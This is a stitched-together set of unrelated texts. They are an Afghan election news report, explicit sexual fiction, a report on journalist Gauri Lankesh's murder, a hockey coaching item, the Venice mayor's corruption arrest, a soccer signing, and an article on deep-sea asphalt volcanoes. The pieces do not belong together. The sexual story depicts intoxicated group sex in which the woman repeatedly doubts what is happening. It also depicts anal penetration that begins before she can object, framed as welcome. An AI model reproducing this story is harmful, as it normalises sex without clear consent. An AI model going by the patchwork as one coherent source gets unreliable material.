vote.  “Maybe it’s because in the second round people have lost belief in the election,” said Masuma, a school teacher in Wardak. “The reason is fraud, they think that their vote is useless.” [Full Story}  RISKY STAND-OFF  Afghan President Hamid Karzai shows his card before voting in the presidential election in Kabul June 14, 2014. REUTERS/Mohammad Ismail  The election has been fraught with accusations of fraud by both candidates and many fear a close outcome will make it less likely the loser will accept defeat, possibly dragging Afghanistan into a risky, protracted stand-off over the vote.  U.S. Secretary of State John Kerry acknowledged the concerns by saying that now the voting was finished, the work of the Afghan electoral authorities was paramount.  “It is essential that the process of tallying votes, adjudicating complaints, and finalizing the results be transparent and accountable and that the candidates and other stakeholders work with the electoral commissions and respect their conclusions,” he said in a statement.  Both candidates have complained repeatedly that electoral organizers are incompetent and biased.  Late on Saturday, Abdullah again raised the issue, questioning the turnout figures provided by the electoral commission, saying he doubted they had been as high as reported.  Officials are concerned by the prospect of a close outcome that could, in the worst-case scenario, propel the country back into war along ethnic lines.  “We ask everyone to prevent and discourage people from fraud and vote-rigging so that we can have a transparent, free and fair election,” Ghani said after casting his vote in west Kabul.  The United Nations has urged candidates not to attack the organizers, to safeguard the process.  “There’s a short-term gain only in trying to undermine or bully the institutions at the expense of their legitimacy,” said United Nations deputy chief in Afghanistan Nicholas Haysom.  “It’s going to be the legitimacy of the elections which will give legitimacy to the new head.”  Slideshow (5 Images)  Abdullah polled 14 percentage points ahead of Ghani in the first round with 45 percent of the vote, but Ghani, who is ethnic Pashtun, stands to gain a portion of the Pashtun vote that was splintered in the first round.  Pashtuns are Afghanistan’s biggest ethnic group, making up about 45 percent of the population. While Abdullah is partly Pashtun, he is identified more with the ethnic Tajik minority.  The chance of an equal split between candidates is hard to gauge because there are few reliable polls. ACSOR research center, asking respondents to choose between Abdullah and Ghani, predicted a 50:50 split before the first round.
-Yang lounged on the couch with a damp towel covering her bathing suit which chilled her skin underneath. Sage and Sun were sitting in chairs across from her, also in their bathing suits, wrapped in towels and drinking beers. They had just come from the hot tub outside. Tubbing after a long day of walking around the city seemed like an awesome way to finish off the day. Add a few glasses of wine and some beers to the mix and now all three of them were relaxed and buzzed. The warm night air blew gently through the open window and smelled of honeysuckle, which grew like a weed in the yard. Yang knew that soon the dampness on her skin from the hot tub would turn to the dampness of the sweat caused by the exceptionally hot evening. Being wrapped in a heavy towel didn't help.  Sun and Sage had been friends since long before Yang and Sun started dating. Sage lived a few hours away, so they only saw each other a few times a year, but Yang instantly liked him the first time they met. She and Sage had become close friends very fast and grew closer with passing time. She and Sun looked forward to visiting with Sage every chance that came up. It made Sun happy that his best friend and his girlfriend liked each other so much.  One of their favorite things to do together was to roam the city neighborhood around them. They ate and drank and joked and laughed for hours as they made the rounds through the bars and restaurants surrounding their home.  Sage's visit this time was going the same as always. The wine they drank in the tub, and the beers they drank most of the day lowered everyone's inhibitions, and conversation had drifted to the subject of pornographic movies. Sun had been talking to Sage about a particularly funny scene in one of the pornos that he had in his collection (it was her collection too). Some parody of Astro Walk where the makeup on the green woman came off as she was getting banged by Captain Verk or some other officer. Against her better judgment, Yang let Sun put the video in to show Sage. It wasn't meant to be sexy; it was a funny scene. Sun fast forwarded through a scene with two crew members banging, typical stuff, and Sun and Sage made jokes and sounds that were supposed to be the sounds of the sex on high speed. The wine made them laugh hysterically and Yang giggled a little too.  Then Sun stopped on the scene he wanted. The one with the hot, green alien chick. He spent time going into great detail about how the makeup looked at the beginning of the scene, even going so far as to stand right next to the TV and point at places he knew the makeup would rub off. It was good innocent fun.  Sun sat back down when the couple on the TV started getting busy. The green alien girl started blowing Captain Virk, but he seemed awkward with his hands. He didn't touch her anywhere. Sun and Sage commented and laughed about it. Then he was licking her pussy which didn't have green makeup on the lips, but it got right up to them. Jokes and laughter kept coming, but Yang was starting to get a little uncomfortable with watching a porno with her boyfriend and his friend. Not because she didn't like dirty movies, but because they aroused her, and Sage was in the mix "cock-blocking" her.  As the scene went on, the jokes came a little slower. Every once in a while, one of the guys would point out where you could see the makeup smeared and flesh showing underneath, but they had fallen into sort of a drunken and lusty interest in the movie. Yang looked at Sage, who was slouching low in his stuffed chair. He had his towel on still, but his hand was resting on his crotch, probably on his cock. He gripped it absent mindedly every once in a while as he stared at the TV. Sun wasn't touching his cock, but she could see that he had an erection.  Yang had seen this movie a couple times with Sun, and she had to admit that the green alien scene was one of her favorites. The girl in the scene had really nice tits that hung just right so that you could tell they were real, and Captain Kirk had a really ripped stomach and no tattoos or piercings. Just the way she liked her porn stars. She kind of wished that Sage wasn't there so she could strip off her damp bathing suit and cool off. She was starting to get hot from the air temperature and the stuff going on in the movie.  She stood up. This was not how she wanted to spend her evening. She had walked around the city all day with the two boys as they yakked and joked and drank beers every chance they could. They walked for hours before coming home to the tub. Her feet hurt. She was good friends with Sage by now and very comfortable around him, not comfortable enough to just sit and watch pornos though. So she went to the bathroom to rinse off the chlorine from the tub.  The hot water felt good on her skin. She let it stream over her for just a minute and then used soap to wash off all the tub chemicals. Then she turned the temperature on the water down until it felt cold, enjoying the sensation of the cool water flowing over her and making her nipples hard. After a moment or two, she turned the water off and stepped out to grab a new towel to wrap around her. The cool shower didn't do much to diminish her buzz. All told, she was gone from the living room for no more than 10 minutes. She grabbed some lotion for her skin and tired feet and went back out wearing just the towel.  The guys were still glued to the TV, but it was a new scene.  "Hey, baby," Sun said, glancing at her quickly. "Almost done."  Two men were having their dicks sucked by a woman who was not in a uniform. Yang remembered that this was some girl who had been in suspended animation or something and that she just went right to fucking as soon as she woke up. Storyline be damned, Yang knew that getting the sex on tape was more important. Sage and Sun were both slouched now, glassy eyed from the booze and the sex on screen. She got a good look at them and could tell they both had hard-ons. She all day boozing had lowered her inhibitions enough that she didn't feel uncomfortable sitting there with them like that. In fact it was turning her on just a little.  She plopped back down on the couch, wrapped only in a towel. Her plan was to apply some moisturizer and then go put on some pajamas. She was comfortable enough with Sage to sit in just the towel. The boys sort of snapped out of their dreamy stupor and made an effort to make a couple of jokes again for her benefit, but they didn't turn the movie off and didn't stop looking at the screen. Yang sighed and started rubbing the vanilla scented lotion on her arms and shoulders. She was utilitarian in her technique. There was nothing intentionally sexy or provocative about how she was applying the lotion, but she caught the boys glancing at her furtively. She didn't think much of it.  After she applied the lotion to her arms, she dropped her head back, held the lotion on her stomach with both hands and just sighed deeply.  "What's wrong?" Sun asked, tearing his eyes from the screen for a minute while the girl there was getting a cock in her mouth and one in her pussy.  "My feet are killing me," Yang said. "Do you think that before we go to sleep, you could rub them for me? PLEASSSSEEE."  "Yeah, sure. Whatever," he answered absently as he stood up to go to the kitchen for a beer for him and Sage.  "I'll do it if you want," Sage said. It wasn't an odd offer. Sage had rubbed her feet before on one of his visits. He said it loud, too, like he was saying it to Yang and Sun.  "Really, man? That's nice of you. Thanks." Sun answered for Yang.  Yang thought about it for about a millisecond, which was probably not long enough, before she said sincerely, "Thanks Sage. I really appreciate it." Then sarcastically she added, "after you guys dragging me around with you today, my dogs are barking." Sage stood up to come over and sit at her feet. As he did, his eyes went back to the TV. Yang could see his erection under his towel, and for another millisecond thought that maybe she should just rub her own feet, but her love of having her feet rubbed, and her need to have them rubbed right now had her pushing cautious thoughts away in favor of immediate gratification.  Sage sat down on the floor and Yang turned so that she could give him a foot. He took the left one and squirted a bit of the lotion on it, then began rubbing it hard at her heel and working his way up to her toes. She moaned loudly in approval. He was looking back and forth between the TV and Yang's foot as he worked from heel to toe, over and over. She closed her eyes and let her head fall back. Sage lifted her foot to work behind her heel, and, in her relaxed state, her knee fell to the left a little, spreading her legs unintentionally. Since she had only thought for a couple of milliseconds about his offer to rub her feet, she didn't take into account that she only wore a fluffy bath towel and nothing else. She didn't think about anything after he started rubbing her feet, so she had no idea that she had just spread her legs enough that if he took a look, Sage would be able to see under the towel to her shaved pussy. It wasn't completely spread yet, but it was visible now.  Sage enthusiastically kept up his rub of her feet. She didn't hear Sun come back in, but she knew he was there when he took her other foot in his hands and started rubbing it from heel to toe like he always did. "Oh wow!" She said when Sun started on her other foot. "This is really nice of you guys. I feel like a princess." The sound of the sex on the screen continued while they rubbed her feet and she sat with her head back and her eyes closed. She really was in heaven and was only thinking about how good it felt to have her feet rubbed. The booze and the late hour contributed to her empty brain and lack of thought. Almost any other time, she probably would have recognized that this was not a good plan.  Sun lifted her foot to work a different angle on it, and her right knee fell lazily to the side like her left had earlier. Now her pussy was pretty much wide spread, barely covered by the towel, which had slipped up when her legs came apart. Still she didn't notice, or notice enough to care. The guys were doing a fantastic job on her feet and she expected it to end any second, like it always did when Sun got bored with rubbing her without any promise of sex in return.  But then one of the boys stopped, which she was expecting, but she heard more lotion being pumped out of the bottle. "Oh," she thought, "still more for me. Awesome." And then the lotion was being rubbed on her feet again, but it was a lot of lotion and there wasn't a lot of pressure on her feet. Before she knew what was happening, the hands were spreading the lotion up over her calf and shins towards her knee. Her head shot up and her eyes opened. She looked down and saw Sun staring at her crotch and rubbing her leg. Sage was also staring at her crotch. When she jerked, they both looked away quickly, and then looked at each other, and then looked at her face, and then looked away again. Her legs went back together and she moved the towel back down over her privates. "Enjoy the show, perverts?" She said.  They looked at each other, then back at her. "Uh, yeah," they both answered. Sun resumed rubbing her leg and Sage gathered more lotion in his hand and started in on her other leg, firmly rubbing from her from her ankle to her knee. She had to admit that it felt pretty good.  "Look, your skin just seemed really dry, and I'm trying to be a nice guy here," Sun lied. "I mean if you want me to stop and let your skin dry out like an old lady's, no problem." The whole time he talked, he and Sage did not stop rubbing her legs. Sarcastically he said, "I'm just thinking about you, babe."  Yang was no prude and she didn't really care that the boys had seen her pussy. Big deal. The lotion did feel good, and she had to admit that she really did kind of feel like a princess, maybe the slutty Egyptian princess in the Cleopatra porn that they had in their collection, but a princess still. She liked Sage and felt comfortable with him. He was Sun's best friend after all, had been for 20 years. So if they wanted to get their jollies by rubbing her feet and legs, whatever. That was about all the thought she put into it, which probably wasn't really enough.  She bunched the towel up more between her legs and held it there with her hands and then went back into her pose, head back, legs slightly spread, and enjoyed the attention.  "Kill joy," Sun teased her.  "I don't want you ass clowns to get any ideas."  They eagerly resumed helping her with her dry skin. They rubbed from her ankles to her knees and then from her knees to the edge of the towel. They used a lot of lotion and firm pressure to knead her quads and inner thighs. Her grip relaxed on the towel in her crotch, but she kept her hands there. Then Sun put up the leg he was working and rested her heel on his shoulder. This spread her a little more and made it harder to hold the towel. He resumed rubbing and focused on her taught hamstring. Seconds later, Sage made the same move. With both her feet off the floor like this, she slouched down a little more on the couch. The slouching movement caused the towel to loosen a little but it stayed in place.  The guys were rubbing her thighs as high as they could now, their hands almost coming in contact with hers as she covered her pussy. Her head was spinning with the effects of the booze and the heady pleasure she was getting from having this kind of attention on her. The sounds of the porno in the background added fuel to her fire too. She had been taking furtive glances at the screen every once in a while to see the hot action there.  Sun's hands were now staying mostly on her upper thighs rubbing around the inside and outside of her legs and doggedly rubbing against the barrier of her hands. Sage wasn't quite as aggressive or brave, but he was working his hands up to the area only a fraction of an inch lower than Sun was. Yang felt flushed and nervous and excited. The massage she was getting really felt good, and it was relaxing, and she had a buzz on that was making her less inhibited than normal.  Gradually, her hands moved as they gave way to Sun's persistence, and before she knew it, he was spreading the lotion up over her hip bone and then down over her pelvis and rubbing the thick, smooth, creamy lotion down the side of her pussy. She fought the urge to spread her legs wide like she would if they were alone. The towel slipped up so that her shaved pubic area was exposed. Apparently Sage took this as a cue that it was OK to move his motions up a little farther too and he began mirroring Sun's hands on the other hip bone and the other side of her pussy. They both had to lean in a little to reach all the way up above her hips and the motion of them doing that made her knees bend slightly, which opened her legs more and made more space around her pussy.  "Very nice," breathed Sun. "Does that feel good?" Yang could feel his hot breath and smell the alcohol in it.  "Mmmmmm..." Is all that Yang could manage.  "This is all just for you. We don't want you to get dry," he teased her.  "Yeah...Mmmmmmm...Right." Was her response again.  Yang was basically in over her head and she knew it. She didn't relish the idea of these guys clumsily pawing around at her pussy, but she didn't want them to stop the massage either. She wasn't sure what the end game was going to be because she couldn't think much past the pleasure she was feeling or the excitement she felt about two men treating her to a great rubdown. Still, she felt like she might be losing control of the situation. Their hands were starting to get more bold and fingers were brushing against her clit and rubbing down the slit of her pussy lips, which wasn't unpleasant, but she was sure she didn't want their fingers fighting over getting inside her.  She lifted her legs off their shoulders, which caused her to slump down more and caused the towel to ride up and get a little tangled. She continued her slide until she moved onto the floor. As she came off the edge of the couch, the towel undid itself and stayed behind, freeing her luscious, soft, full tits, bouncing free and revealing her completely. She moved so that she could lay on her back in front of the surprised men. The sneaky part was that even though the change in position resulted in her being totally naked, it also allowed her to put her legs back together. She laid down with her arms out to the sides and said "I think my boobs are pretty dry too," and then closed her eyes. 'That should give me some breathing room,' she thought.  She heard the lotion being dispensed and then there were creamy, slick hands rubbing both her pillowy tits gently but firmly. To their credit, the boys didn't just focus on her boobs, but spread lotion on her shoulders and down her arms. Sage even spent some time rubbing her hand and massaging her fingers. She thought that was really nice and attentive, but when he released her cream covered hand, it fell into his lap on top of his boner, which was covered only by the thin layer of his bathing suit. He continued as if she weren't touching his dick and rubbed up her arm, over her shoulder and down to her tit again. She didn't move her hand in any way. She could feel his hard cock, and felt she had to make a decision. She periodically opened her eyes to check out the guys as they rubbed her. Neither one was looking at the TV any more even though the sound was still loud enough to hear over the sounds of their own pleasures. Her two attendants stared only at her now.  This attention was awesome. She didn't remember feeling so good in a long, long time. But she didn't know how far she should go with this. "I'm an idiot," she thought. "Where did I think this was going? These two guys are going to keep going until they get to shoot their loads, end of story." She knew she had to either shut it down right now, or just let them keep going to the inevitable end, which would be her with either a bunch of cum inside her or on her. The repercussions of all of this, how it would be in the morning (or more precisely about 15 seconds after her boyfriend had an orgasm and started thinking with his big head) were not foremost on her mind as she lay there with two men eagerly and efficiently helping her fight the dry skin that can come from spending time in a chlorinated hot tub.  Sun kissed her passionately on the mouth. She always liked kissing him and it melted her inhibitions even more. Her decision making process started to change. Now she was thinking that if she started playing with Sage's cock-for which she was becoming eager- Sun might get jealous because she chose his friend first. But if she turned to play with Sun's cock, that would present her backside to Sage and for sure he would start to fuck her, which, at this point, she pretty much knew was going to happen, but she was still operating on the premise that she could control all this.  "Um, maybe you guys have some dry skin too," she said teasingly. The boys stopped, looked at each other, then jumped up and whisked off their bathing suits in a flurry. Their stiff cocks stood out straight once they were released from the bindings of their trunks. She thought about throwing the lotion bottle to Sun and saying "knock yourselves out," but refrained. Once again, she had maybe a little breathing room to think about her choices. As the men went back to work rubbing her whole body from head to toe, paying special attention to her funzones, she put some lotion in one hand, rubbed it into the other hand and took a cock in each hand to stroke them back and forth. She marveled at how hard they were and how good it felt to be rubbing lotion over the firm contours of two dicks. Fingers were, indeed, finding their way into her pussy now, and it wasn't as bad as she thought. They were gentle and sensitive but persistent, and she had been unconsciously spreading her legs. Soon they each had a finger inside her as she writhed on the floor.  The men were still rubbing her attentively, but she could tell that if she kept up her creamy hand jobs, she would end up with cum all over her, and she'd probably have two passed out men next to her, and she could give up hope of anything close to an orgasm unless she took care of it herself. So she made a decision and sat up, surprising the men a little. She turned towards Sage and pushed him gently down so that he could lay on his back. She rolled over and knee-walked up between his legs, then bent over, letting her hands glide up his muscular thighs as she moved into position to wrap his cock with her ample, soft tits. His cock was hard and slick from the greasy hand job she had been giving him, and her tits were plenty creamy from the attention the boys had already given her. She slid up and down over his pelvis trapping his cock between her tits and his belly.  Things started moving really fast after that. Sage was bucking up into her tits. She watched the spongy tip of his cock pop out and then back into the valley of her cleavage. And Sun moved into position behind her to slide his steel-hard dick into her creamy, smooth, hot pussy. He slid the head of his dick up and down her ass crack and between her pussy lips to get her ready. When he finally directed the head of his dick into her pussy, she was moving her boobs backwards on Sage's cock and ended up pushing her pussy over Sun's member until it was plunged all the way inside her. She let out a little gasp, and then a grunt as Sun pulled out and then rammed back into her.  "Oh I made a good choice," she thought as she was being rocked from behind by Sun. She thought for sure, based on the pace that Sage was bucking into her tits, that he was going to come any minute and paint her chest with his white goo, but he just kept going and going. Sun was grunting and pumping into her furiously, and she could feel the tingling of her own orgasm building with each pump of his hard dick inside her.  After several short minutes of being pounded by Sun, he yelled "OH MY FUCKING GOD!" as he rammed into her hard enough to make her struggle to keep from falling off his dick. He firmly held her hips to keep her in that position as he came, pumping sperm into her like a fire hose. She could actually feel the cum shooting out of his cock inside her. She knew his mode of operation and knew that if it was just the two of them, her chances of getting release were now down to zero. And she had gone through a lot so far to just go to bed frustrated, so, thinking quickly, and faced with an option she had never had before, she lurched forward off of Sun's softening cock and moved to straddle Sage's still hard and useful tool. With a foot on either side of Sage's hips, she impaled herself on him and went to work pumping her cum dripping pussy up and down on him. She was so close that she could almost be there. She began playing with her clit as she rode him desperately, only slightly amazed that he hadn't shot his load yet.  Finally, the waves of an orgasm crashed over her and she sat down hard on Sage while she quivered and her pussy pulsed on the still hard cock inside her. "Holy crap," she stuttered. Her orgasm began to subside and she could think again. She wanted to climb off Sage and get his dick out of her, but before she could move, he sat up and pushed her down on her back. As she fell back, she looked up to see Sun still there. He hadn't rolled over and gone to sleep yet. In fact, he was stroking his semi-hard cock while he watched.  Sage climbed on top of her between her legs and, without using his hands, pushed his cock back into her messy pussy. He put first one of her legs, then the other over his shoulders to open her up more to him. She didn't fight or resist at all. She had hers and was sure that Sage would be done very soon. He pounded into her for a minute or so and then stopped and pulled out his cock. With one hand he moved the head of his still rock hard dick until it was pressing firmly against her asshole.  Yang had felt a finger or two in her ass at times and found it pleasurable, but she had only tried anal sex once and it was a disaster. The guy had been pretty big and went right for her ass after some really cursory foreplay. It hurt bad and she swore that was it. By the time she thought to protest and started to tense up, the head of his cock was in her ass and moving slowly further. She was amazed that it didn't hurt like before. It was slipping in quite easily due to Sage's well lubed cock. She was taking all this in and analyzing it and was surprised that Sage had easily snuck almost all of his cock into her asshole, and he started pumping in and out slowly. To her surprise, she wasn't hating it. In fact, she was liking it and started pumping back into him. She was grunting with the effort and force of him fucking her like this, but she liked it. When she looked up, Sun was still there, and his cock had come back to be almost as hard as it was a few minutes ago.  Yang was amazed that she liked this so much. She felt like maybe she had been missing out for all those years since that first bad experience. Sage was really working up to a fast pace, sliding his dick into her from tip to balls without reprieve. Suddenly, she pushed him back by pushing her legs towards him and pushing on his chest with her hands.  "Oh! I'm so sorry. I'm sorry. Was I hurting you? I didn't want to hurt you. It felt so good. I'm so sorry," Sage stammered. He had sat up on his knees with his dick pointing out in front of him, and Yang was sitting up towards him now that he was out of her ass and not on top of her. She pushed him down onto his back, turned around to face Sun and straddled Sage again. This time, she lowered herself down until her asshole swallowed his dick all the way down. Then she rolled back putting her hands behind her for support and putting her feet on Sage's thighs. She looked up at Sun with a smile on her face. She knew he could see his friend's dick going up into her ass. Her legs were spread wide, and he was staring right at it. He couldn't miss it.  "Stop playing with yourself and get busy," she said playfully. Honestly, she thought he might go down on her while she fucked Sage with her asshole. That was stupid thinking. Instead, Sun moved in and pushed his hard-again tool into her pussy, filling her like she had never been filled before and making her gasp in surprise. He immediately started pumping into her and Sage pushed into her ass from underneath her. She just sat there on top of him trying to keep both dicks inside her.  The room filled with grunts and moans and the smell of sweaty bodies mixed with the come and sex juices and vanilla of the lotion. It was a powerful scene and Yang was in the middle of it, surprisingly very happy to be there. She could feel another orgasm pulsing through her pussy around Sun's cock. He thrust hard into her and started shooting another load on top of his first one. Sage said "I'm fucking cumming," between clenched teeth and she could feel his cock start to throb in her ass.  It seemed like the three of them came for hours like that, but after only a minute or two, Sun fell off to one side of her. Yang climbed off Sage's slightly softer cock and rolled in between the two men, draping an arm and a leg over Sun. Sage gently put his hand on her hip and patted her. Sun wrapped one arm around her and kissed the top of her head. The soundtrack of the porno on the TV was the only sound in the room besides their heavy breathing.  Sage got up and walked into the kitchen. A second later he returned with three cold beers, drinking one already. Yang could see his soft but still large cock swinging as he walked. Cum hung off of it in a gooey string still, but he didn't bother to do anything about it. Yang and Sun sat up and took the beers he offered, drinking eagerly. She polished off half of hers before lowering the can from her lips. Sage looked lustily at her naked body.  "You guys done?" He asked. In the pause before either Yang or Sun said anything, he went on "I mean we're here and I don't think anyone hated that, so..."  Yang thought for about another millisecond while she absently stared at Sage's cock. She figured she was the one in control here. Whatever direction she went, the guys would follow along without complaint or regrets (at least until they sobered up). She was completely satisfied already, but was also excited by the new ground they had just moved into, so while some slut on the TV cried out in fake moans of fake pleasure while two guys with abnormally large cocks rammed into her pussy and ass, Yang made the decision for their small group. She rose up, reached out and took Sage's cock in her hand. She rubbed the hanging stream of cum from the tip and wiped that hand on one of her tits and then pulled him down to the ground. He barely had his beer set on the floor before she was climbing on top of him and kissing him passionately, rubbing his glistening cock between their bodies, awakening it to a useful state again.  Sun drank from his beer for one last gulp and moved behind her so he could fondle and squeeze her slick tits and play with her clit as she writhed on top of his friend. She could feel his hard dick pressed against her back.  Yang didn't even realize she had gone to sleep until she woke up on the floor where she was when they had all finally collapsed. She didn't know how much time had passed. It was still dark out. The TV was off, and she was covered with one of the blankets they kept on the couch. Sage snored softly on the couch without a blanket. Her pussy was tender, and she felt sticky between her legs and ass crack, and she knew she had crusty cum on her tits and, her hair was a disaster, and her jaw was a little sore. The room smelled strongly of vanilla and sex.  Sun reappeared, walking into the living room with a glass of ice water. Suddenly, Yang was really thirsty and grateful that Sun brought some water. She heard sizzling in the kitchen and the fragrant smell of sausage wafted to her. The smell of the cooking sausage made her realize she was ravenously hungry.  He handed her the water. While she was gulping it down, he cupped one of her tits in his hand and said, "Your skin is really, really soft."  She said "I know. Thanks," and lifted the blanket for him to climb in with her.
-Gauri Lankesh  The RSS has demanded that the govt track down the perpetrators and ensure justice.  The cold-blooded murder of veteran journalist Gauri Lankesh in Bengaluru on Tuesday has shocked and angered the country. An outspoken critic of right-wing politics, the senior editor was killed right as she was entering her residence on Tuesday night, by three assailants who fired several bullets at her at point blank range.  The killing has been condemned by people from across the board, including by Karnataka leaders of the BJP and the RSS, who also hit out at the Siddaramaiah-led government.  Union Minister for Statistics and Programme Implementation and senior Karnataka leader Sadananda Gowda called for an impartial probe in the case.  I strongly condemn the murder of Journalist Gauri Lankesh. Let Police conduct impartial enquiry on the murder. — Sadananda Gowda (@DVSBJP) September 5, 2017  His Cabinet colleague, Rajyavardhan Singh Rathore, meanwhile condemned attacks on journalists.  Terrible news from Bengaluru about the heinous murder of Gauri Lankesh. I condemn all acts of violence against journalists. — Rajyavardhan Rathore (@Ra_THORe) September 5, 2017  The party’s state President Yeddyurappa, though, condemned the law and order situation in Karnataka, taking the opportunity to attack the Congress government in the state.  Shocked to hear the murder of #GowriLankesh strongly condemn this inhuman barbaric murder. Law &Order in the state has compleately collapsed — B.S. Yeddyurappa (@BSYBJP) September 5, 2017  On Tuesday night, the RSS Karnataka unit released a statement condemning Gauri’s killing. “RSS strongly condemns the killing of senior editor, writer and columnist Gauri Lankesh. We pray that God grants her family the strength to withstand the loss. We demand that the government rapidly tracks down the perpetrators and ensures justice,” the statement read.
-The Devils completed their coaching staff today, naming former Lighting assistant Adam Oates to the same position with the organization.  Oates will fall under the role of “offensive assistant” that new coach John MacLean spoke about during his introductory press conference. With the Lightning, Oates helped improve the power play, something the Devils desperately need to improve.  General manager Lou Lamoriello had nothing but praise for the assistant coach.  “Throughout his career, Adam was without question one of the top playmaking centers, particularly on the power play, and was considered one of the top face-off players in the game,” Lamoriello said in a statement released by the team. “These attributes bring a different dimension to our coaching staff and both John and I are delighted that Adam is joining our organization.”  Oates, 47, played in 1,337 NHL games, registering 341 goals and 1,079 assists for 1,420 points and 415 penalty minutes. The former center played for Detroit, St. Louis (where he was teammates with Scott Stevens in 1990-91), Boston, Washington, Philadelphia, Anaheim and Edmonton. Oates played in five NHL All-Star games, and reached the 100 point mark on four occasions. He ranks sixth all-time in assists. Oates retired from playing on April 3, 2004, and took his first NHL assistant job last season with the Lightning.  Oates joins Larry Robinson and Chris Terreri on MacLean’s staff.  ***************  I think Oates could do well with the Devils this season. Clearly, the power play needs help. If he can do something to get solid production night in and night out, then I’ll be happy. Too many times over the past few years we’ve watched the Devils look really sharp with the man advantage on night and unorganized the next. The team needs stability, and it seems Oates can bring this to the organization.  I also think his influence will be good for the young centers on this team, especially a guy like Travis Zajac. We all saw Zajac take a step forward last season, and Oates may be able to continue to improve Zajac’s overall play. Oates’ assist numbers are stellar, and I’m sure he can help Zajac to develop better on-ice vision and playmaking skills. While Zajac is one of the better centers in the league, I’m sure he’ll benefit from some time with Oates.  Advertisements
-ROME — The Italian authorities on Wednesday arrested the mayor of Venice and more than 30 others in a political corruption case linked to the city’s multibillion dollar flood-protection project. The arrests came only weeks after investigators revealed an embarrassing corruption scandal involving projects for next year’s Milan Expo.  Mayor Giorgio Orsoni of Venice was placed under house arrest on Wednesday morning on charges that he misused public funds from a project to build underwater barriers to protect the ancient city. Investigators also arrested a number of other elected officials in the Venice region and were seeking the arrest of a member of the lower house of Parliament.  Corruption scandals are not uncommon in Italy, but the latest arrests in Venice and Milan involve prestige projects in regions where governance is usually considered more trustworthy. Prosecutors on Wednesday accused Mr. Orsoni of directing public money for “political purposes.” Investigators also are examining whether politicians accepted about 25 million euros, more than $34 million, in bribes in exchange for awarding contracts on the flood-protection project.  In a televised news conference, Carlo Nordio, one of the prosecutors in the case, said local businessmen and politicians had established a sophisticated system to divert money for bribes, including slush fund accounts in Switzerland and San Marino. He said businessmen used inflated bills and false consulting contracts to generate payments from public funds that were then diverted to politicians as bribes.
-With training camp set to open in less than a month, Fury FC GM and Head Coach Paul Dalglish made another important addition to his squad with the signing of defender Ramon Martin Del Campo, pending league and federation approval.  Del Campo, a versatile player that can play as a centre back or an outside back, comes to Ottawa after spending last season on loan with Puerto Rico FC in the NASL. In 2016, the 23-year-old featured in 16 Fall season games. He played 90 minutes in every game, picked up two assists, earned one Team of the Week nomination and won the Play of the Week on one occasion.  “Ramon is a hardworking, aggressive defender that has an endless desire to win the ball back,” said Fury FC GM and Head Coach Paul Dalglish who is currently in California for the MLS Combine on scouting duties. “He’s another player that has that ruthless desire to win and his profile suits the type of players that I want to work with. We bring in players that will help us entertain with hearth this season.”
-Underwater volcanoes erupt throughout the world, but in the southern Gulf of Mexico, they churn out something unusual: cold asphalt instead of hot lava. First discovered in 2003, these natural oil seeps at the bottom of the ocean provide a home and fuel for marine life.  The highly diverse ecosystems that spring up around asphalt volcanoes do something else: sequester carbon. Federal laws protect deep-sea ecosystems on the U.S. side of the Gulf of Mexico, but on the Mexico side, no such protections exist. Because these sites occupy an area that is open to energy exploration and development, a multinational team of researchers has suggested that it is time to consider the best model to conserve them.  Pavement Under the Sea  Natural asphalt is a sticky, viscous form of oil. When microorganisms degrade oil from reservoirs below the seabed, they leave asphalt behind as a waste product.  A team of German, U.S., and Mexican researchers discovered asphalt volcanoes at the Campeche Knolls in the southern Gulf of Mexico during an expedition in 2003. The researchers named the original site, covering more than a square kilometer in area, Chapopote, the Aztec word for tar.  They found that as the asphalt seeped out of the seabed, it hardened and solidified in the cold water. Few processes add hard surfaces to the deep ocean, according to Ian MacDonald, a biological oceanographer at Florida State University in Gainesville and one of the researchers who discovered Chapopote.  Most organisms that survive in the depths do so by burrowing under layers of the ocean bottom’s sediments, MacDonald said, but asphalts provide a hard surface on which species such as ice worms and some types of mussels can grow. In addition, the seeps provide the starting materials for chemosynthesis—the process by which organisms use energy from inorganic chemical reactions to make their food.  The German government funded return trips in 2006 and again in 2015 to further explore the asphalts and characterize the diverse fauna that inhabit them. MacDonald presented the results of the 2015 expedition at the 2016 Ocean Sciences Meeting in New Orleans.  Slow Ooze, Harboring Hydrates  When the team first discovered the asphalt volcanoes, they found that the asphalt looked strikingly similar to lava flows on land—asphalt flows change size, they get wrinkly, they fold over each other, MacDonald said. They speculated that the asphalt was released quickly in bursts, but when they returned in 2015, a closer look at the asphalt eliminated that possibility.  By creating a photo mosaic of the main asphalt flow and examining its shape and how the asphalt had weathered over time, they realized that the asphalt oozed slowly out of the seabed, rather than erupting in a quick spurt.  “The asphalts come out very slowly—tectonically slowly,” MacDonald said.  Unexpectedly, the research team found large mounds of gas hydrates—clusters of ice with methane trapped inside—on or near the volcanoes. They also found massive aggregations of chemosynthetic tube worms tens of meters long colonizing the hydrate mounds. Some of the tube worms may be hundreds of years old, they noted.  Gas hydrates would normally dissolve quickly in seawater because the concentration of methane in the sea is so low, but the researchers suspect the tube worms help to stabilize the hydrate mounds.  “The tube worms are creating a blanket that essentially sequesters the gas hydrate and stops it from dissolving into the seawater,” MacDonald explained.  Interocean Connectivity  Chemosynthetic communities proliferate around hydrocarbon seeps in many areas along the equator, from the Gulf of Mexico to West Africa’s Atlantic coast and even in the eastern Pacific. Before the Isthmus of Panama closed off the Atlantic from the Pacific, these waters were joined.  “We think that, at some point, all of these communities were connected, and we still see a genetic relationship in some of the crustaceans between these sites.” “We think that, at some point, all of these communities were connected, and we still see a genetic relationship in some of the crustaceans between these sites,” said Elva Escobar, an aquatic ecologist at the National Autonomous University of Mexico in Mexico City and a member of the research team. The group is now studying how the organisms’ larval stages go from one place to the other and is gathering Pacific specimens to compare with those from the other side of the isthmus.  The asphalt ecosystem is an incredibly diverse community that is still understudied, according to Escobar. “We know very little about how these communities grow, how they are structured, how they change in time, and how they interact with the gas hydrates,” she said.  Chapopote could provide a model for studying and conserving other chemosynthetic communities in the deep sea, she said. It “provides a natural laboratory that allows us to see the diversity of the processes occurring below the asphalt, within the asphalt, and at the asphalt-water interface,” she added.  Hazards for Oil and Gas Extraction  Mexico recently announced the first energy production lease sales in their ultradeep offshore waters, but the extensive asphalt pavements and gas hydrate mounds at those depths pose hazards for drilling operations, according to the researchers.  If oil and gas companies encounter asphalts while drilling, it’s important to know whether the asphalt they hit is above or below the seafloor, MacDonald noted.  “That will tell you whether the asphalt that you’re seeing is likely to be expansive and extensive, so you hit it in many places with your drill bit, or it’s still in the subbottom, where it might be a potential resource,” he said.  